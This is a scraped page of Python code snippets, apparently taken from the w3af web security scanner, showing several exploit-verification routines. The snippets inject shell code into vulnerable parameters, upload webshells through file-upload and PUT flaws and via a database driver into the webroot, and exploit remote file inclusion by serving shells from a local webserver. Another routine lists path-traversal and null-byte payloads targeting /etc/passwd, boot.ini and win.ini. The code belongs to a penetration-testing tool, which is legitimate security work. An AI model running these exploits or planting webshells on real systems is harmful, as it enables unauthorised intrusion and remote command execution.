Beispiel #1
0
    def _verifyVuln( self, vuln_obj ):
        '''
        This command verifies a vuln. This is really hard work!

        @parameter vuln_obj: The vulnerability to exploit.
        @return : True if vuln can be exploited.
        '''
        # Get the shells
        extension = urlParser.getExtension( vuln_obj.getURL() )
        # I get a list of tuples with code and extension to use
        shell_code_list = shell_handler.get_shell_code( extension )
        
        for code, real_extension in shell_code_list:
            # Prepare for exploitation...
            function_reference = getattr( self._urlOpener , vuln_obj.getMethod() )
            data_container = vuln_obj.getDc()
            data_container[ vuln_obj.getVar() ] = code

            try:
                http_res = function_reference( vuln_obj.getURL(), str(data_container) )
            except Exception:
                continue
            else:
                cut_result = self._define_exact_cut( http_res.getBody(), shell_handler.SHELL_IDENTIFIER )
                if cut_result:
                    self._shell_code = code
                    return True
        
        # All failed!
        return False
    def _generate_404_knowledge( self, url ):
        '''
        Based on a URL, request something that we know is going to be a 404.
        Afterwards analyze the 404's and summarise them.
        
        @return: A list with 404 bodies.
        '''
        # Get the filename extension and create a 404 for it
        extension = urlParser.getExtension( url )
        domain_path = urlParser.getDomainPath( url )
        
        # the result
        self._response_body_list = []
        
        #
        #   This is a list of the most common handlers, in some configurations, the 404
        #   depends on the handler, so I want to make sure that I catch the 404 for each one
        #
        handlers = ['py', 'php', 'asp', 'aspx', 'do', 'jsp', 'rb', 'do', 'gif', 'htm', extension]
        handlers += ['pl', 'cgi', 'xhtml', 'htmls']
        handlers = list(set(handlers))
        
        for extension in handlers:

            rand_alnum_file = createRandAlNum( 8 ) + '.' + extension
                
            url404 = urlParser.urlJoin(  domain_path , rand_alnum_file )

            #   Send the requests using threads:
            targs = ( url404,  )
            tm.startFunction( target=self._send_404, args=targs , ownerObj=self )
            
        # Wait for all threads to finish sending the requests.
        tm.join( self )
        
        #
        #   I have the bodies in self._response_body_list , but maybe they all look the same, so I'll
        #   filter the ones that look alike.
        #
        result = [ self._response_body_list[0], ]
        for i in self._response_body_list:
            for j in self._response_body_list:
                
                if relative_distance_ge(i, j, IS_EQUAL_RATIO):
                    # They are equal, we are ok with that
                    continue
                else:
                    # They are no equal, this means that we'll have to add this to the list
                    result.append(j)
        
        # I don't need these anymore
        self._response_body_list = None
        
        # And I return the ones I need
        result = list(set(result))
        om.out.debug('The 404 body result database has a lenght of ' + str(len(result)) +'.')
        
        return result
    def _get_local_file_list( self, origUrl):
        '''
        This method returns a list of local files to try to include.
        
        @return: A string list, see above.
        '''
        local_files = []

        extension = urlParser.getExtension(origUrl)

        # I will only try to open these files, they are easy to identify of they 
        # echoed by a vulnerable web app and they are on all unix or windows default installs.
        # Feel free to mail me ( Andres Riancho ) if you know about other default files that
        # could be installed on AIX ? Solaris ? and are not /etc/passwd
        if cf.cf.getData('targetOS') in ['unix', 'unknown']:
            local_files.append("../" * 15 + "etc/passwd")
            local_files.append("../" * 15 + "etc/passwd\0")
            local_files.append("../" * 15 + "etc/passwd\0.html")
            local_files.append("/etc/passwd")
            
            # This test adds support for finding vulnerabilities like this one
            # http://website/zen-cart/extras/curltest.php?url=file:///etc/passwd
            #local_files.append("file:///etc/passwd")
            
            local_files.append("/etc/passwd\0")
            local_files.append("/etc/passwd\0.html")
            if extension != '':
                local_files.append("/etc/passwd%00."+ extension)
                local_files.append("../" * 15 + "etc/passwd%00."+ extension)
        
        if cf.cf.getData('targetOS') in ['windows', 'unknown']:
            local_files.append("../" * 15 + "boot.ini\0")
            local_files.append("../" * 15 + "boot.ini\0.html")
            local_files.append("C:\\boot.ini")
            local_files.append("C:\\boot.ini\0")
            local_files.append("C:\\boot.ini\0.html")
            local_files.append("%SYSTEMROOT%\\win.ini")
            local_files.append("%SYSTEMROOT%\\win.ini\0")
            local_files.append("%SYSTEMROOT%\\win.ini\0.html")
            if extension != '':
                local_files.append("C:\\boot.ini%00."+extension)
                local_files.append("%SYSTEMROOT%\\win.ini%00."+extension)
        
        return local_files
    def _verifyVuln(self, vuln_obj):
        """
        This command verifies a vuln. This is really hard work! :P
        
        @parameter vuln_obj: The vuln to exploit.
        @return : True if vuln can be exploited.
        """
        # The vuln was saved to the kb as a vuln object
        url = vuln_obj.getURL()
        method = vuln_obj.getMethod()
        exploit_dc = vuln_obj.getDc()

        # Create a file that will be uploaded
        extension = urlParser.getExtension(url)
        fname = self._create_file(extension)
        file_handler = open(fname, "r")

        #   If there are files,
        if "fileVars" in vuln_obj:
            #
            #   Upload the file
            #
            for file_var_name in vuln_obj["fileVars"]:
                # the [0] was added here to support repeated parameter names
                exploit_dc[file_var_name][0] = file_handler
            http_method = getattr(self._urlOpener, method)
            response = http_method(vuln_obj.getURL(), exploit_dc)

            # Call the uploaded script with an empty value in cmd parameter
            # this will return the shell_handler.SHELL_IDENTIFIER if success
            dst = vuln_obj["fileDest"]
            self._exploit = urlParser.getDomainPath(dst) + self._file_name + "?cmd="
            response = self._urlOpener.GET(self._exploit)

            # Clean-up
            file_handler.close()
            os.remove(self._path_name)

            if shell_handler.SHELL_IDENTIFIER in response.getBody():
                return True

        #   If we got here, there is nothing positive to report ;)
        return False
Beispiel #5
0
    def _verifyVuln(self, vuln_obj):
        """
        This command verifies a vuln. This is really hard work! :P

        @return : True if vuln can be exploited.
        """
        # Create the shell
        filename = createRandAlpha(7)
        extension = urlParser.getExtension(vuln_obj.getURL())

        # I get a list of tuples with file_content and extension to use
        shell_list = shell_handler.get_webshells(extension)

        for file_content, real_extension in shell_list:
            if extension == "":
                extension = real_extension
            om.out.debug('Uploading shell with extension: "' + extension + '".')

            # Upload the shell
            url_to_upload = urlParser.urlJoin(vuln_obj.getURL(), filename + "." + extension)
            om.out.debug("Uploading file: " + url_to_upload)
            self._urlOpener.PUT(url_to_upload, data=file_content)

            # Verify if I can execute commands
            # All w3af shells, when invoked with a blank command, return a
            # specific value in the response:
            # shell_handler.SHELL_IDENTIFIER
            response = self._urlOpener.GET(url_to_upload + "?cmd=")
            if shell_handler.SHELL_IDENTIFIER in response.getBody():
                msg = 'The uploaded shell returned the SHELL_IDENTIFIER: "'
                msg += shell_handler.SHELL_IDENTIFIER + '".'
                om.out.debug(msg)
                self._exploit_url = url_to_upload + "?cmd="
                return True
            else:
                msg = 'The uploaded shell with extension: "' + extension
                msg += "\" DIDN'T returned what we expected, it returned: " + response.getBody()
                om.out.debug(msg)
                extension = ""
    def _upload_webshell(self, driver, vuln_obj):
        '''
        First, upload any file to the target webroot.
        
        Once I've found the target webroot (or any other location inside the webroot where I can
        write a file) try to upload a webshell and test for execution.
        
        @parameter driver: The database driver to use in order to upload the file.
        @parameter vuln_obj: The vulnerability that we are exploiting.
        
        @return: The webshell URL if the webshell was uploaded, or None if the process failed.
        '''
        upload_success = False
        
        # First, we test if we can upload a file into a directory we can access:
        webroot_dirs = get_webroot_dirs( urlParser.getDomain(vuln_obj.getURL()) )
        for webroot in webroot_dirs:
            
            if upload_success: break
            
            # w3af found a lot of directories, and we are going to use that knowledgeBase
            # because one of the dirs may be writable and one may not!
            for path in self._get_site_directories():
                
                # Create the remote_path
                remote_path = webroot + '/' + path
                
                # Create the filename
                remote_filename = createRandAlNum( 8 ) + '.' + createRandAlNum(3)
                remote_path += '/' + remote_filename
                # And just in case... remove double slashes
                for i in xrange(3): remote_path = remote_path.replace('//', '/')
                
                # Create the content (which will also act as the test_string)
                test_string = content = createRandAlNum(16)
            
                # Create the test URL
                test_url = urlParser.urlJoin(vuln_obj.getURL(), path + '/' + remote_filename )

                if self._upload_file( driver, remote_path, content, test_url, test_string):
                    upload_success = True
                    om.out.console('Successfully wrote a file to the webroot.')
                    break
        
        # We can upload files, and we know where they are uploaded, now we
        # just need to upload a webshell that works in that environment!
        if upload_success:
            
            om.out.console('Trying to write a webshell.')
            
            # Get the extension from the vulnerable script
            extension = urlParser.getExtension( vuln_obj.getURL() )
            
            for file_content, real_extension in shell_handler.get_webshells( extension ):
                
                # Create the variables to upload the file, based on the success of the
                # previous for loop:
                remote_path = remote_path[:remote_path.rfind('/')]
                filename = createRandAlNum( 8 )
                remote_path += '/' + filename + '.' + real_extension
                
                # And now do "the same thing" with the URL
                test_url = test_url[:test_url.rfind('/')]
                test_url += '/' + filename + '.' + real_extension + '?cmd='
                
                # Upload & test
                if self._upload_file( driver, remote_path, file_content, test_url, shell_handler.SHELL_IDENTIFIER):
                    # Complete success!
                    om.out.console('Successfully installed a webshell in the target server!')
                    return test_url
                    
        return None
Beispiel #7
0
 def discover(self, fuzzableRequest ):
     '''
     Nothing strange, just do some GET requests to the eggs and analyze the response.
     
     @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test.
     '''
     if not self._exec:
         # This will remove the plugin from the discovery plugins to be runned.
         raise w3afRunOnce()
     else:
         # Get the extension of the URL (.html, .php, .. etc)
         ext = urlParser.getExtension( fuzzableRequest.getURL() )
         
         # Only perform this analysis if we haven't already analyzed this type of extension
         # OR if we get an URL like http://f00b5r/4/     (Note that it has no extension)
         # This logic will perform some extra tests... but we won't miss some special cases
         # Also, we aren't doing something like "if 'php' in ext:" because we never depend
         # on something so changable as extensions to make decisions.
         if ext == '' or ext not in self._already_analyzed_ext:
             
             # Init some internal variables
             GET_results = []
             original_response = self._urlOpener.GET( fuzzableRequest.getURL(), useCache=True )
             
             # Perform the GET requests to see if we have a phpegg
             for egg, egg_desc in self._get_eggs():
                 egg_URL = urlParser.uri2url( fuzzableRequest.getURL() ) + egg
                 try:
                     response = self._urlOpener.GET( egg_URL, useCache=True )
                 except KeyboardInterrupt,e:
                     raise e
                 except w3afException, w3:
                     raise w3
                 else:
                     GET_results.append( (response, egg_desc, egg_URL) )
                     
             #
             #   Now I analyze if this is really a PHP eggs thing, or simply a response that
             #   changes a lot on each request. Before, I had something like this:
             #
             #       if relative_distance(original_response.getBody(), response.getBody()) < 0.1:
             #
             #   But I got some reports about false positives with this approach, so now I'm
             #   changing it to something a little bit more specific.
             images = 0
             not_images = 0
             for response, egg_desc, egg_URL in GET_results:
                 if 'image' in response.getContentType():
                     images += 1
                 else:
                     not_images += 1
             
             if images == 3 and not_images == 1:
                 #
                 #   The remote web server has expose_php = On. Report all the findings.
                 #
                 for response, egg_desc, egg_URL in GET_results:
                     i = info.info()
                     i.setPluginName(self.getName())
                     i.setName('PHP Egg - ' + egg_desc)
                     i.setURL( egg_URL )
                     desc = 'The PHP framework running on the remote server has a "'
                     desc += egg_desc +'" easter egg, access to the PHP egg is possible'
                     desc += ' through the URL: "'+  egg_URL + '".'
                     i.setDesc( desc )
                     kb.kb.append( self, 'eggs', i )
                     om.out.information( i.getDesc() )
                     
                     #   Only run once.
                     self._exec = False
             
                 # analyze the info to see if we can identify the version
                 self._analyze_egg( GET_results )
             
             # Now we save the extension as one of the already analyzed
             if ext != '':
                 self._already_analyzed_ext.add(ext)
    def _verifyVuln(self, vuln):
        '''
        This command verifies a vuln. This is really hard work!

        @return : True if vuln can be exploited.
        '''
        # Create the shell
        extension = urlParser.getExtension( vuln.getURL() )
        
        # I get a list of tuples with file_content and extension to use
        shell_list = shell_handler.get_webshells( extension )
        
        for file_content, real_extension in shell_list:
            #
            #    This for loop aims to exploit the RFI vulnerability and get remote
            #    code execution.
            #
            if extension == '':
                extension = real_extension

            url_to_include = self._gen_url_to_include(file_content, extension)

            # Start local webserver
            webroot_path = os.path.join(get_home_dir(), 'webroot')
            webserver.start_webserver(self._listen_address, self._listen_port,
                                      webroot_path)
            
            # Prepare for exploitation...
            function_reference = getattr(self._urlOpener, vuln.getMethod())
            data_container = vuln.getDc()
            data_container[vuln.getVar()] = url_to_include

            try:
                http_res = function_reference(vuln.getURL(), str(data_container))
            except:
                successfully_exploited = False
            else:
                successfully_exploited = self._define_exact_cut(
                                                http_res.getBody(),
                                                shell_handler.SHELL_IDENTIFIER)


            if successfully_exploited:
                self._exploit_dc = data_container
                return SUCCESS_COMPLETE
            else:
                # Remove the file from the local webserver webroot
                self._rm_file(url_to_include)
        
        else:
            
            #
            #    We get here when it was impossible to create a RFI shell, but we
            #    still might be able to do some interesting stuff
            #
            function_reference = getattr( self._urlOpener , vuln.getMethod() )
            data_container = vuln.getDc()
            
            #    A port that should "always" be closed,
            data_container[ vuln.getVar() ] = 'http://localhost:92/'   

            try:
                http_response = function_reference( vuln.getURL(), str(data_container) )
            except:
                return False
            else:
                rfi_errors = ['php_network_getaddresses: getaddrinfo',
                                    'failed to open stream: Connection refused in']
                for error in rfi_errors:
                    if error in http_response.getBody():
                        return SUCCESS_OPEN_PORT
                    
        return NO_SUCCESS